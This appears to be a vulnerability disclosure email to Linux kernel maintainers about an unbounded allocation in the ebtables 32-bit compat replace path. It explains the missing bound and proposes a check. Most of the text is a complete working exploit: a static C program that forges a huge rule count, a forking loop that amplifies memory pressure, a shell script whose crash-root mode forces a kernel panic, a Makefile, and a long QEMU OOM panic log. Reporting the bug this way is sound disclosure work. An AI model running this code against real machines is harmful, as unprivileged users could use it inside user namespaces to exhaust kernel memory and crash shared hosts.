Hi Linux kernel maintainers,
We found and validated an unbounded allocation in the ebtables compat
replacement path, net/bridge/netfilter/ebtables.c. A user with
CAP_NET_ADMIN in a user and network namespace can reach the 32-bit
compat syscall with a forged rule count and a small entry blob.
We will provide details of the bug below, along with a PoC and the
QEMU crash log.
---- details below ----
Bug details:
compat_do_replace() allocates its per-CPU counter area from the compat
header's nentries before copying and parsing the rule blob. The existing
MAX_EBT_ENTRIES bound limits the count for integer-overflow reasons, but
does not check that the claimed number of rules can fit in entries_size.
A request can therefore claim millions of rules while supplying only a
single empty base chain. The kernel attempts the large vmalloc() before
later validation rejects the malformed table.
Each rule occupies at least sizeof(struct ebt_entry) bytes in the input
blob. Rejecting a claimed count larger than entries_size divided by
that minimum rule size prevents the allocation from being driven by an
inconsistent count.
The PoC is a static 32-bit program that invokes EBT_SO_SET_ENTRIES with
nentries=16000000 and entries_size set to one empty base chain. The
syscall is rejected after the vulnerable counter allocation. A single
call demonstrates the oversized request; multiple workers can amplify
memory pressure to OOM.
Reproducer:
make
unshare -Urn /bin/sh -c "./poc 250000"
This exercises the compat path with namespace-local CAP_NET_ADMIN. To
reproduce the supplied OOM log in a disposable QEMU guest, run as root:
NENTRIES=16000000 CHILDREN=4 ./poc.sh crash-root
The crash log is from a 2 vCPU, 4 GB x86 QEMU guest running Linux
6.12.95. The guest had CONFIG_BRIDGE_NF_EBTABLES,
CONFIG_BRIDGE_NF_EBTABLES_LEGACY, CONFIG_NETFILTER_XTABLES_COMPAT,
CONFIG_COMPAT, and IA32 emulation enabled.
------BEGIN poc.c------
#define AF_INET 2
#define SOCK_STREAM 1
#define IPPROTO_IP 0
#define EBT_TABLE_MAXNAMELEN 32
#define EBT_CHAIN_MAXNAMELEN EBT_TABLE_MAXNAMELEN
#define NF_BR_NUMHOOKS 6
#define EBT_ACCEPT (-1)
#define EBT_BASE_CTL 128
#define EBT_SO_SET_ENTRIES EBT_BASE_CTL
#define __NR_exit 1
#define __NR_write 4
#define __NR_close 6
#define __NR_fork 2
#define __NR_pause 29
#define __NR_socketcall 102
#define SYS_SOCKET 1
#define SYS_SETSOCKOPT 14
#define DEFAULT_NENTRIES 16000000U
#define DEFAULT_CHILDREN 0U
struct ebt_entries;
struct ebt_replace {
char name[EBT_TABLE_MAXNAMELEN];
unsigned int valid_hooks;
unsigned int nentries;
unsigned int entries_size;
struct ebt_entries *hook_entry[NF_BR_NUMHOOKS];
unsigned int num_counters;
void *counters;
char *entries;
};
struct ebt_entries {
unsigned int distinguisher;
char name[EBT_CHAIN_MAXNAMELEN];
unsigned int counter_offset;
int policy;
unsigned int nentries;
};
struct payload {
struct ebt_replace repl;
struct ebt_entries chain;
};
static long sys_call0(long nr)
{
long ret;
__asm__ volatile("int $0x80"
: "=a"(ret)
: "a"(nr)
: "memory");
return ret;
}
static long sys_call1(long nr, long a1)
{
long ret;
__asm__ volatile("int $0x80"
: "=a"(ret)
: "a"(nr), "b"(a1)
: "memory");
return ret;
}
static long sys_call2(long nr, long a1, long a2)
{
long ret;
__asm__ volatile("int $0x80"
: "=a"(ret)
: "a"(nr), "b"(a1), "c"(a2)
: "memory");
return ret;
}
static long sys_call3(long nr, long a1, long a2, long a3)
{
long ret;
__asm__ volatile("int $0x80"
: "=a"(ret)
: "a"(nr), "b"(a1), "c"(a2), "d"(a3)
: "memory");
return ret;
}
static long sys_socketcall(int call, unsigned long *args)
{
return sys_call2(__NR_socketcall, call, (long)args);
}
static long sys_write(int fd, const void *buf, unsigned int len)
{
return sys_call3(__NR_write, fd, (long)buf, len);
}
static long sys_close(int fd)
{
return sys_call1(__NR_close, fd);
}
static long sys_fork(void)
{
return sys_call0(__NR_fork);
}
static long sys_pause(void)
{
return sys_call0(__NR_pause);
}
static unsigned int c_strlen(const char *s)
{
unsigned int len = 0;
while (s[len])
len++;
return len;
}
static void put_str(const char *s)
{
sys_write(1, s, c_strlen(s));
}
static void put_ch(char c)
{
sys_write(1, &c, 1);
}
static void put_u32(unsigned int v)
{
char buf[16];
unsigned int i = 0;
if (v == 0) {
put_ch('0');
return;
}
while (v) {
buf[i++] = '0' + (v % 10);
v /= 10;
}
while (i)
put_ch(buf[--i]);
}
static void put_s32(long v)
{
if (v < 0) {
put_ch('-');
put_u32((unsigned int)(-v));
return;
}
put_u32((unsigned int)v);
}
static void mem_zero(void *dst, unsigned int len)
{
unsigned char *p = dst;
unsigned int i;
for (i = 0; i < len; i++)
p[i] = 0;
}
static void mem_copy(void *dst, const char *src, unsigned int len)
{
unsigned char *d = dst;
unsigned int i;
for (i = 0; i < len; i++)
d[i] = (unsigned char)src[i];
}
static unsigned int parse_u32(const char *s, unsigned int def)
{
unsigned int v = 0;
unsigned int seen = 0;
if (!s || !*s)
return def;
while (*s) {
if (*s < '0' || *s > '9')
return def;
v = v * 10 + (*s - '0');
seen = 1;
s++;
}
return seen ? v : def;
}
static int do_trigger(unsigned int nentries, int verbose)
{
struct payload p;
unsigned long socket_args[3];
unsigned long setopt_args[5];
long fd;
long ret;
mem_zero(&p, sizeof(p));
mem_copy(p.repl.name, "filter", 6);
p.repl.valid_hooks = 1U;
p.repl.nentries = nentries;
p.repl.entries_size = sizeof(p.chain);
p.repl.hook_entry[0] = (struct ebt_entries *)p.repl.entries;
p.repl.entries = (char *)&p.chain;
p.chain.distinguisher = 0;
mem_copy(p.chain.name, "INPUT", 5);
p.chain.counter_offset = 0;
p.chain.policy = EBT_ACCEPT;
p.chain.nentries = 0;
/* SOCK_STREAM avoids needing CAP_NET_RAW; CAP_NET_ADMIN is enough. */
socket_args[0] = AF_INET;
socket_args[1] = SOCK_STREAM;
socket_args[2] = 0;
fd = sys_socketcall(SYS_SOCKET, socket_args);
if (fd < 0) {
put_str("socket failed: ");
put_s32(fd);
put_ch('\n');
return 1;
}
setopt_args[0] = (unsigned long)fd;
setopt_args[1] = IPPROTO_IP;
setopt_args[2] = EBT_SO_SET_ENTRIES;
setopt_args[3] = (unsigned long)&p;
setopt_args[4] = sizeof(p);
ret = sys_socketcall(SYS_SETSOCKOPT, setopt_args);
if (verbose) {
put_str("setsockopt ret=");
put_s32(ret);
put_str(" nentries=");
put_u32(nentries);
put_ch('\n');
}
sys_close((int)fd);
return ret < 0 ? (int)(-ret) : 0;
}
static __attribute__((noreturn)) void child_loop(unsigned int nentries)
{
for (;;)
do_trigger(nentries, 0);
}
static int spawn_children(unsigned int nentries, unsigned int children)
{
unsigned int i;
for (i = 0; i < children; i++) {
long pid = sys_fork();
if (pid == 0)
child_loop(nentries);
if (pid < 0) {
put_str("fork failed: ");
put_s32(pid);
put_ch('\n');
return 1;
}
}
put_str("spawned children=");
put_u32(children);
put_str(" nentries=");
put_u32(nentries);
put_ch('\n');
for (;;)
sys_pause();
}
int main(int argc, char **argv)
{
unsigned int nentries = DEFAULT_NENTRIES;
unsigned int children = DEFAULT_CHILDREN;
if (argc > 1)
nentries = parse_u32(argv[1], DEFAULT_NENTRIES);
if (argc > 2)
children = parse_u32(argv[2], DEFAULT_CHILDREN);
if (children)
return spawn_children(nentries, children);
return do_trigger(nentries, 1);
}
__asm__(
".global _start\n"
"_start:\n"
" xor %ebp, %ebp\n"
" pop %eax\n"
" mov %esp, %ebx\n"
" push %ebx\n"
" push %eax\n"
" call main\n"
" mov %eax, %ebx\n"
" mov $1, %eax\n"
" int $0x80\n"
);
------END poc.c--------
------BEGIN poc.sh------
#!/bin/sh
set -eu
MODE=${1:-single}
NENTRIES=${NENTRIES:-16000000}
case "$MODE" in
single)
exec ./poc "$NENTRIES"
;;
observe-root)
CHILDREN=${CHILDREN:-2}
grep -E '^(MemAvailable|VmallocUsed):' /proc/meminfo
./poc "$NENTRIES" "$CHILDREN" >/tmp/ebt-compat-root.log 2>&1 &
sleep 4
echo ---during---
grep -E '^(MemAvailable|VmallocUsed):' /proc/meminfo
killall -q poc || true
sleep 2
echo ---settled---
grep -E '^(MemAvailable|VmallocUsed):' /proc/meminfo
head -20 /tmp/ebt-compat-root.log || true
;;
observe-userns)
CHILDREN=${CHILDREN:-2}
grep -E '^(MemAvailable|VmallocUsed):' /proc/meminfo
unshare -Urn /bin/sh -c "./poc \"$NENTRIES\" \"$CHILDREN\""
>/tmp/ebt-compat-userns.log 2>&1 &
sleep 4
echo ---during---
grep -E '^(MemAvailable|VmallocUsed):' /proc/meminfo
killall -q poc || true
sleep 2
echo ---settled---
grep -E '^(MemAvailable|VmallocUsed):' /proc/meminfo
head -20 /tmp/ebt-compat-userns.log || true
;;
crash-root)
echo 0 > /proc/sys/kernel/panic_on_warn
echo 2 > /proc/sys/vm/panic_on_oom
echo 0 > /proc/sys/vm/oom_dump_tasks
echo 8 4 1 7 > /proc/sys/kernel/printk
CHILDREN=${CHILDREN:-4}
exec ./poc "$NENTRIES" "$CHILDREN"
;;
*)
echo "usage: $0 [single|observe-root|observe-userns|crash-root]" >&2
exit 1
;;
esac
------END poc.sh--------
------BEGIN Makefile------
CC := gcc
CFLAGS := -m32 -nostdlib -static -fno-pic -fno-builtin -no-pie -Os -Wall -Wextra
LDFLAGS := -Wl,--build-id=none
all: poc
poc: poc.c
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $<
clean:
rm -f poc
------END Makefile--------
----BEGIN crash log----
[ 671.059225][T11148] poc invoked oom-killer:
gfp_mask=0x2cc2(GFP_KERNEL|__GFP_HIGHMEM|__GFP_NOWARN), order=0, oom_score_adj=0
[ 671.060128][T11148] CPU: 1 UID: 0 PID: 11148 Comm: poc Not tainted 6.12.95 #2
[ 671.060133][T11148] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX,
arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 671.060145][T11148] Call Trace:
[ 671.060169][T11148] <TASK>
[ 671.060174][T11148] dump_stack_lvl+0x9e/0xe0
[ 671.060224][T11148] dump_header+0xf9/0x800
[ 671.060284][T11148] out_of_memory+0x716/0x1430
[ 671.060298][T11148] ? __alloc_pages_noprof+0xd53/0x26d0
[ 671.060324][T11148] ? __pfx_out_of_memory+0x10/0x10
[ 671.060331][T11148] ? lock_acquire+0x2f/0xb0
[ 671.060347][T11148] ? __alloc_pages_noprof+0xd53/0x26d0
[ 671.060367][T11148] __alloc_pages_noprof+0x1ecc/0x26d0
[ 671.060405][T11148] ? __pfx___alloc_pages_noprof+0x10/0x10
[ 671.060412][T11148] ? __pfx_vmap_small_pages_range_noflush+0x10/0x10
[ 671.060424][T11148] ? __vmalloc_node_range_noprof+0x33a/0x1090
[ 671.060464][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.060478][T11148] ? alloc_pages_bulk_array_mempolicy_noprof+0x1d4/0xd70
[ 671.060501][T11148] alloc_pages_mpol_noprof+0x1ab/0x4d0
[ 671.060513][T11148] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 671.060519][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.060525][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.060532][T11148] ? __pfx___might_resched+0x10/0x10
[ 671.060568][T11148] __vmalloc_node_range_noprof+0x584/0x1090
[ 671.060586][T11148] ? compat_do_replace+0x183/0x710
[ 671.060626][T11148] ? __pfx___vmalloc_node_range_noprof+0x10/0x10
[ 671.060650][T11148] ? compat_do_replace+0x183/0x710
[ 671.060660][T11148] vmalloc_noprof+0x6b/0x90
[ 671.060667][T11148] ? compat_do_replace+0x183/0x710
[ 671.060674][T11148] compat_do_replace+0x183/0x710
[ 671.060678][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.060691][T11148] ? __pfx_compat_do_replace+0x10/0x10
[ 671.060706][T11148] ? __pfx_aa_get_newest_label+0x10/0x10
[ 671.060750][T11148] ? apparmor_capable+0xb9/0x180
[ 671.060760][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.060764][T11148] ? security_capable+0x8a/0x150
[ 671.060788][T11148] do_ebt_set_ctl+0x31a/0x390
[ 671.060799][T11148] ? __pfx_do_ebt_set_ctl+0x10/0x10
[ 671.060810][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.060832][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.060846][T11148] nf_setsockopt+0x76/0xe0
[ 671.060881][T11148] do_sock_setsockopt+0x1b8/0x3b0
[ 671.060903][T11148] ? __pfx_do_sock_setsockopt+0x10/0x10
[ 671.060908][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.060911][T11148] ? find_held_lock+0x2d/0x110
[ 671.060930][T11148] ? __might_fault+0xb6/0x120
[ 671.060952][T11148] ? lock_acquire+0x2f/0xb0
[ 671.060969][T11148] __sys_setsockopt+0x144/0x1c0
[ 671.060990][T11148] __do_compat_sys_socketcall+0x3ec/0x5d0
[ 671.061003][T11148] ? do_user_addr_fault+0x8be/0xe10
[ 671.061020][T11148] ? __pfx___do_compat_sys_socketcall+0x10/0x10
[ 671.061034][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.061037][T11148] ? lock_acquire+0x2f/0xb0
[ 671.061065][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.061086][T11148] do_int80_emulation+0xfc/0x1f0
[ 671.061109][T11148] asm_int80_emulation+0x1a/0x20
[ 671.061117][T11148] RIP: 0023:0x804933e
[ 671.061147][T11148] Code: Unable to access opcode bytes at 0x8049314.
[ 671.061151][T11148] RSP: 002b:00000000ffd96130 EFLAGS: 00000246 ORIG_RAX:
0000000000000066
[ 671.061162][T11148] RAX: ffffffffffffffda RBX: 000000000000000e RCX:
00000000ffd9615c
[ 671.061165][T11148] RDX: 0000000000000000 RSI: 0000000000000066 RDI:
00000000ffd96170
[ 671.061167][T11148] RBP: 00000000ffd96208 R08: 0000000000000000 R09:
0000000000000000
[ 671.061169][T11148] R10: 0000000000000000 R11: 0000000000000000 R12:
0000000000000000
[ 671.061171][T11148] R13: 0000000000000000 R14: 0000000000000000 R15:
0000000000000000
[ 671.061204][T11148] </TASK>
[ 671.061207][T11148] Mem-Info:
[ 671.084424][T11148] active_anon:4746 inactive_anon:3755 isolated_anon:0
[ 671.084424][T11148] active_file:102 inactive_file:28 isolated_file:0
[ 671.084424][T11148] unevictable:7259 dirty:127 writeback:0
[ 671.084424][T11148] slab_reclaimable:14299 slab_unreclaimable:65428
[ 671.084424][T11148] mapped:2008 shmem:1677 pagetables:533
[ 671.084424][T11148] sec_pagetables:0 bounce:0
[ 671.084424][T11148] kernel_misc_reclaimable:0
[ 671.084424][T11148] free:17980 free_pcp:3613 free_cma:0
[ 671.088451][T11148] Node 0 active_anon:17612kB inactive_anon:16392kB
active_file:144kB inactive_file:376kB unevictable:29036kB isolated(anon):0kB
isolated(file):0kB mapped:8032kB dirty:508kB writeback:0kB shmem:6708kB
shmem_thp:0kB shmem_pmdmapped:0kB anon_thp:0kB writeback_tmp:0kB
kernel_stack:10208kB pagetables:2132kB sec_pagetables:0kB all_unreclaimable? yes
[ 671.091045][T11148] Node 0 DMA free:12172kB boost:0kB min:340kB low:424kB
high:508kB reserved_highatomic:0KB active_anon:0kB inactive_anon:0kB
active_file:0kB inactive_file:0kB unevictable:0kB writepending:0kB
present:15992kB managed:15360kB mlocked:0kB bounce:0kB free_pcp:0kB
local_pcp:0kB free_cma:0kB
[ 671.093044][T11148] lowmem_reserve[]: 0 2589 2961 2961 2961
[ 671.093541][T11148] Node 0 DMA32 free:53508kB boost:0kB min:58812kB
low:73512kB high:88212kB reserved_highatomic:0KB active_anon:16604kB
inactive_anon:17112kB active_file:300kB inactive_file:220kB unevictable:25584kB
writepending:508kB present:3129216kB managed:2670800kB mlocked:25584kB
bounce:0kB free_pcp:12168kB local_pcp:3804kB free_cma:0kB
[ 671.095805][T11148] lowmem_reserve[]: 0 0 371 371 371
[ 671.096224][T11148] Node 0 Normal free:6064kB boost:0kB min:8428kB
low:10532kB high:12636kB reserved_highatomic:0KB active_anon:0kB
inactive_anon:328kB active_file:8kB inactive_file:56kB unevictable:3452kB
writepending:0kB present:1048576kB managed:380124kB mlocked:380kB bounce:0kB
free_pcp:2316kB local_pcp:144kB free_cma:0kB
[ 671.098427][T11148] lowmem_reserve[]: 0 0 0 0 0
[ 671.098818][T11148] Node 0 DMA: 1*4kB (U) 3*8kB (U) 7*16kB (U) 0*32kB 0*64kB
0*128kB 1*256kB (U) 1*512kB (U) 1*1024kB (U) 1*2048kB (M) 2*4096kB (M) = 12172kB
[ 671.100007][T11148] Node 0 DMA32: 666*4kB (M) 715*8kB (UME) 472*16kB (UME)
239*32kB (UME) 147*64kB (UME) 69*128kB (UM) 26*256kB (M) 9*512kB (M) 0*1024kB
0*2048kB 0*4096kB = 53088kB
[ 671.101355][T11148] Node 0 Normal: 32*4kB (M) 12*8kB (M) 12*16kB (M) 34*32kB
(UM) 19*64kB (UM) 18*128kB (U) 3*256kB (U) 0*512kB 0*1024kB 0*2048kB 0*4096kB =
5792kB
[ 671.102568][T11148] Node 0 hugepages_total=0 hugepages_free=0
hugepages_surp=0 hugepages_size=1048576kB
[ 671.103247][T11148] Node 0 hugepages_total=4 hugepages_free=4
hugepages_surp=0 hugepages_size=2048kB
[ 671.103930][T11148] 3673 total pagecache pages
[ 671.104296][T11148] 0 pages in swap cache
[ 671.104616][T11148] Free swap = 0kB
[ 671.104903][T11148] Total swap = 0kB
[ 671.105196][T11148] 1048446 pages RAM
[ 671.105490][T11148] 0 pages HighMem/MovableOnly
[ 671.105848][T11148] 281875 pages reserved
[ 671.106168][T11148] 0 pages cma reserved
[ 671.106498][T11148] Unreclaimable slab info:
[ 671.106931][T11148] Name Used Total
[ 671.107955][T11148] bio-360 1KB 15KB
[ 671.108440][T11148] bio-424 2KB 15KB
[ 671.108915][T11148] bio-440 1KB 15KB
[ 671.109404][T11148] bio-536 1KB 15KB
[ 671.109874][T11148] AF_VSOCK 2KB 31KB
[ 671.110361][T11148] TIPC 3KB 31KB
[ 671.110830][T11148] SCTPv6 4KB 30KB
[ 671.111307][T11148] DCCPv6 5KB 31KB
[ 671.111769][T11148] DCCP 5KB 29KB
[ 671.112265][T11148] RXRPC 3KB 31KB
[ 671.112739][T11148] rxrpc_call_jar 36KB 92KB
[ 671.113321][T11148] fib6_node 2KB 4KB
[ 671.113792][T11148] ip6_dst_cache 2KB 15KB
[ 671.114281][T11148] RAWv6 38KB 64KB
[ 671.114731][T11148] UDPv6 10KB 61KB
[ 671.115198][T11148] TCPv6 14KB 31KB
[ 671.115729][T11148] scsi_sense_cache 2KB 7KB
[ 671.116195][T11148] virtio_scsi_cmd 24KB 31KB
[ 671.116678][T11148] bio-136 43KB 46KB
[ 671.117210][T11148] bio-264 1KB 15KB
[ 671.117660][T11148] mqueue_inode_cache 1KB 31KB
[ 671.118148][T11148] f2fs_bio_post_read_ctx 27KB 30KB
[ 671.118742][T11148] jfs_mp 9KB 15KB
[ 671.119242][T11148] cifs_small_rq 18KB 31KB
[ 671.119715][T11148] cifs_request 67KB 67KB
[ 671.120181][T11148] cifs_mpx_ids 0KB 7KB
[ 671.120657][T11148] cifs_io_subrequest 50KB 56KB
[ 671.121129][T11148] cifs_io_request 93KB 95KB
[ 671.121619][T11148] nfs_commit_data 3KB 15KB
[ 671.122072][T11148] nfs_write_data 36KB 63KB
[ 671.122479][T11148] jbd2_inode 2KB 3KB
[ 671.122932][T11148] ext4_system_zone 1KB 19KB
[ 671.123499][T11148] ext4_io_end_vec 0KB 3KB
[ 671.123977][T11148] kioctx 0KB 30KB
[ 671.124439][T11148] aio_kiocb 0KB 7KB
[ 671.124931][T11148] rpc_buffers 18KB 31KB
[ 671.125403][T11148] rpc_tasks 3KB 7KB
[ 671.125867][T11148] UNIX-STREAM 190KB 275KB
[ 671.126344][T11148] UNIX 142KB 214KB
[ 671.126816][T11148] tcp_bind2_bucket 1KB 4KB
[ 671.127381][T11148] tcp_bind_bucket 1KB 4KB
[ 671.127855][T11148] ip_fib_trie 1KB 3KB
[ 671.128319][T11148] ip_fib_alias 1KB 3KB
[ 671.128788][T11148] rtable 3KB 31KB
[ 671.129253][T11148] RAW 22KB 31KB
[ 671.129721][T11148] UDP 12KB 64KB
[ 671.130188][T11148] request_sock_TCP 0KB 7KB
[ 671.130661][T11148] TCP 23KB 29KB
[ 671.131101][T11148] hugetlbfs_inode_cache 3KB 30KB
[ 671.131613][T11148] netfs_subrequest 37KB 39KB
[ 671.132086][T11148] netfs_request 93KB 95KB
[ 671.132542][T11148] bio-256 14KB 15KB
[ 671.132993][T11148] ep_head 15KB 32KB
[ 671.133492][T11148] eventpoll_pwq 25KB 47KB
[ 671.133961][T11148] eventpoll_epi 49KB 109KB
[ 671.134433][T11148] inotify_inode_mark 34KB 38KB
[ 671.134907][T11148] sgpool-128 8KB 30KB
[ 671.135482][T11148] sgpool-64 4KB 31KB
[ 671.135946][T11148] sgpool-32 2KB 62KB
[ 671.136416][T11148] sgpool-16 1KB 15KB
[ 671.136880][T11148] sgpool-8 3KB 31KB
[ 671.137386][T11148] bio_crypt_ctx 19KB 19KB
[ 671.137859][T11148] request_queue 169KB 191KB
[ 671.138378][T11148] blkdev_ioc 0KB 7KB
[ 671.138843][T11148] bio-200 53KB 55KB
[ 671.139315][T11148] biovec-max 455KB 612KB
[ 671.139736][T11148] biovec-64 0KB 125KB
[ 671.140174][T11148] biovec-16 0KB 31KB
[ 671.140665][T11148] bio_integrity_payload 0KB 7KB
[ 671.141167][T11148] user_namespace 0KB 15KB
[ 671.141644][T11148] uid_cache 0KB 7KB
[ 671.142110][T11148] dmaengine-unmap-256 2KB 31KB
[ 671.142597][T11148] dmaengine-unmap-128 1KB 31KB
[ 671.143043][T11148] dmaengine-unmap-16 0KB 7KB
[ 671.143489][T11148] dmaengine-unmap-2 0KB 4KB
[ 671.143952][T11148] QIPCRTR 1KB 31KB
[ 671.144444][T11148] audit_buffer 0KB 3KB
[ 671.144907][T11148] skbuff_small_head 30KB 63KB
[ 671.145332][T11148] skbuff_fclone_cache 4KB 31KB
[ 671.145814][T11148] skbuff_head_cache 100KB 181KB
[ 671.146289][T11148] configfs_dir_cache 4KB 7KB
[ 671.146767][T11148] file_lock_cache 1KB 30KB
[ 671.147324][T11148] file_lock_ctx 19KB 27KB
[ 671.147853][T11148] fsnotify_mark_connector 26KB 31KB
[ 671.148379][T11148] taskstats 1KB 15KB
[ 671.148837][T11148] proc_dir_entry 371KB 411KB
[ 671.149282][T11148] pde_opener 2KB 11KB
[ 671.149743][T11148] seq_file 98KB 100KB
[ 671.150211][T11148] sigqueue 3KB 15KB
[ 671.150688][T11148] shmem_inode_cache 9681KB 9771KB
[ 671.151152][T11148] kernfs_iattrs_cache 39KB 89KB
[ 671.151646][T11148] kernfs_node_cache 22349KB 22483KB
[ 671.152111][T11148] mnt_cache 64KB 104KB
[ 671.152595][T11148] filp 955KB 1921KB
[ 671.153063][T11148] names_cache 21730KB 21896KB
[ 671.153543][T11148] net_namespace 15KB 30KB
[ 671.154010][T11148] ima_iint_cache 370KB 378KB
[ 671.154497][T11148] lsm_inode_cache 5681KB 5744KB
[ 671.154973][T11148] lsm_file_cache 333KB 548KB
[ 671.155452][T11148] key_jar 25KB 40KB
[ 671.155925][T11148] uts_namespace 1KB 15KB
[ 671.156404][T11148] nsproxy 0KB 3KB
[ 671.156870][T11148] vma_lock 1425KB 1606KB
[ 671.157388][T11148] vm_area_struct 1598KB 1779KB
[ 671.157942][T11148] fs_cache 20KB 78KB
[ 671.158430][T11148] files_cache 53KB 350KB
[ 671.158904][T11148] signal_cache 582KB 2047KB
[ 671.159395][T11148] sighand_cache 790KB 2439KB
[ 671.159874][T11148] task_struct 3114KB 4492KB
[ 671.160355][T11148] cred 153KB 637KB
[ 671.160822][T11148] anon_vma_chain 676KB 677KB
[ 671.161299][T11148] anon_vma 615KB 708KB
[ 671.161750][T11148] pid 147KB 488KB
[ 671.162197][T11148] Acpi-Operand 79KB 162KB
[ 671.162674][T11148] Acpi-ParseExt 0KB 15KB
[ 671.163145][T11148] Acpi-Parse 0KB 15KB
[ 671.163619][T11148] Acpi-State 0KB 15KB
[ 671.164063][T11148] Acpi-Namespace 57KB 62KB
[ 671.164549][T11148] numa_policy 0KB 3KB
[ 671.165016][T11148] perf_event 0KB 31KB
[ 671.165494][T11148] trace_event_file 1702KB 1705KB
[ 671.165959][T11148] ftrace_event_field 1833KB 1834KB
[ 671.166442][T11148] pool_workqueue 1164KB 1197KB
[ 671.166918][T11148] maple_node 2907KB 4063KB
[ 671.167446][T11148] task_group 31KB 47KB
[ 671.167926][T11148] mm_struct 165KB 300KB
[ 671.168405][T11148] vmap_area 681KB 1067KB
[ 671.168840][T11148] debug_objects_cache 3101KB 3107KB
[ 671.169333][T11148] page->ptl 151KB 197KB
[ 671.169794][T11148] kmalloc-cg-8k 120KB 120KB
[ 671.170260][T11148] kmalloc-cg-4k 4728KB 4728KB
[ 671.170737][T11148] kmalloc-cg-2k 3462KB 3870KB
[ 671.171201][T11148] kmalloc-cg-1k 984KB 1170KB
[ 671.171683][T11148] kmalloc-cg-512 349KB 504KB
[ 671.172146][T11148] kmalloc-cg-256 100KB 126KB
[ 671.172615][T11148] kmalloc-cg-128 63KB 78KB
[ 671.173080][T11148] kmalloc-cg-64 15KB 24KB
[ 671.173553][T11148] kmalloc-cg-32 69KB 90KB
[ 671.174028][T11148] kmalloc-cg-16 66KB 279KB
[ 671.174508][T11148] kmalloc-cg-8 14KB 31KB
[ 671.174976][T11148] kmalloc-cg-192 65KB 86KB
[ 671.175451][T11148] kmalloc-cg-96 41KB 48KB
[ 671.175935][T11148] kmalloc-8k 4080KB 4080KB
[ 671.176407][T11148] kmalloc-4k 47460KB 47544KB
[ 671.176886][T11148] kmalloc-2k 15366KB 15390KB
[ 671.177418][T11148] kmalloc-1k 6987KB 7170KB
[ 671.177891][T11148] kmalloc-512 6966KB 7402KB
[ 671.178371][T11148] kmalloc-256 7131KB 7134KB
[ 671.178839][T11148] kmalloc-128 1110KB 1338KB
[ 671.179314][T11148] kmalloc-64 8092KB 8156KB
[ 671.179807][T11148] kmalloc-32 1711KB 2224KB
[ 671.180423][T11148] kmalloc-16 1956KB 2114KB
[ 671.180900][T11148] kmalloc-8 1216KB 1326KB
[ 671.181401][T11148] kmalloc-192 2505KB 2811KB
[ 671.181881][T11148] kmalloc-96 3661KB 3728KB
[ 671.182421][T11148] kmem_cache_node 177KB 179KB
[ 671.182853][T11148] kmem_cache 213KB 220KB
[ 671.183340][T11148] Kernel panic - not syncing: Out of memory: compulsory
panic_on_oom is enabled
[ 671.184016][T11148] CPU: 1 UID: 0 PID: 11148 Comm: poc Not tainted 6.12.95 #2
[ 671.184573][T11148] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX,
arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 671.185493][T11148] Call Trace:
[ 671.185754][T11148] <TASK>
[ 671.185989][T11148] panic+0x533/0x610
[ 671.186313][T11148] ? count_partial_free_approx+0x60/0x160
[ 671.186757][T11148] ? __pfx_panic+0x10/0x10
[ 671.187136][T11148] out_of_memory+0x73c/0x1430
[ 671.187515][T11148] ? __alloc_pages_noprof+0xd53/0x26d0
[ 671.187936][T11148] ? __pfx_out_of_memory+0x10/0x10
[ 671.188344][T11148] ? lock_acquire+0x2f/0xb0
[ 671.188695][T11148] ? __alloc_pages_noprof+0xd53/0x26d0
[ 671.189132][T11148] __alloc_pages_noprof+0x1ecc/0x26d0
[ 671.189580][T11148] ? __pfx___alloc_pages_noprof+0x10/0x10
[ 671.190015][T11148] ? __pfx_vmap_small_pages_range_noflush+0x10/0x10
[ 671.190531][T11148] ? __vmalloc_node_range_noprof+0x33a/0x1090
[ 671.191003][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.191445][T11148] ? alloc_pages_bulk_array_mempolicy_noprof+0x1d4/0xd70
[ 671.191984][T11148] alloc_pages_mpol_noprof+0x1ab/0x4d0
[ 671.192414][T11148] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 671.192887][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.193340][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.193773][T11148] ? __pfx___might_resched+0x10/0x10
[ 671.194184][T11148] __vmalloc_node_range_noprof+0x584/0x1090
[ 671.194636][T11148] ? compat_do_replace+0x183/0x710
[ 671.195052][T11148] ? __pfx___vmalloc_node_range_noprof+0x10/0x10
[ 671.195538][T11148] ? compat_do_replace+0x183/0x710
[ 671.195882][T11148] vmalloc_noprof+0x6b/0x90
[ 671.196234][T11148] ? compat_do_replace+0x183/0x710
[ 671.196666][T11148] compat_do_replace+0x183/0x710
[ 671.197087][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.197509][T11148] ? __pfx_compat_do_replace+0x10/0x10
[ 671.197947][T11148] ? __pfx_aa_get_newest_label+0x10/0x10
[ 671.198405][T11148] ? apparmor_capable+0xb9/0x180
[ 671.198814][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.199260][T11148] ? security_capable+0x8a/0x150
[ 671.199675][T11148] do_ebt_set_ctl+0x31a/0x390
[ 671.200021][T11148] ? __pfx_do_ebt_set_ctl+0x10/0x10
[ 671.200420][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.200978][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.201426][T11148] nf_setsockopt+0x76/0xe0
[ 671.201787][T11148] do_sock_setsockopt+0x1b8/0x3b0
[ 671.202182][T11148] ? __pfx_do_sock_setsockopt+0x10/0x10
[ 671.202610][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
